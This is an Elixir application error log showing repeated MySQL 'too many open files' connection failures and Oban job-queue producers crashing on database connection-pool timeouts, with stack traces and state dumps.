State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:29:11.241462Z], limit: 50, uuid: "832e8e2e-5465-4d0e-bf61-683a5cd4dc08", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:11.241468Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62555>, refresh_timer: #Reference<0.2525715032.1068498948.62552>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:23.746000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:25.883000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:27.200000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:27.761000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:29.343000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:29.430000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:29.578000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:31.982000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:35.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:29:23.238217Z], limit: 5, uuid: "dd3644b5-f1af-4923-be1e-1a29caa51b00", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:23.238225Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60418>, refresh_timer: #Reference<0.2525715032.1077673987.40562>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:29:23.241302Z], limit: 50, uuid: "3be6721b-e953-46da-a5fc-a1ffe1793be4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:23.241307Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60416>, refresh_timer: #Reference<0.2525715032.1099431938.60405>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:29:23.239594Z], limit: 3, uuid: "f0806b92-bf58-40fb-9356-af1fcb77baa2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:23.239600Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60420>, refresh_timer: #Reference<0.2525715032.1077673987.40581>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:35.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:29:23.239340Z], limit: 20, uuid: "eeb1c4fe-7d31-4919-b9f8-4348ee2be173", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:23.239346Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60415>, refresh_timer: #Reference<0.2525715032.1099431938.60378>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:35.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:29:23.238707Z], limit: 5, uuid: "2ad3f7cf-f405-45b4-9562-f8d7eaa82721", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:23.238712Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60419>, refresh_timer: #Reference<0.2525715032.1077673987.40564>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:35.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:29:23.239617Z], limit: 10, uuid: "aa538e99-24b5-4f51-8a34-3964909e20ed", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:23.239623Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60417>, refresh_timer: #Reference<0.2525715032.1077673987.40584>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:36.897000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:40.669000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:40.865000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:46.036000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:29:35.239744Z], limit: 20, uuid: "74f1c807-52df-439a-9f3f-a359d4e1aba0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:35.239749Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.40741>, refresh_timer: #Reference<0.2525715032.1077673987.40732>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:29:35.239046Z], limit: 50, uuid: "7b68592a-0be1-4ecf-bf7e-eb2b6211f898", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:35.239053Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.60674>, refresh_timer: #Reference<0.2525715032.1099431938.60664>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
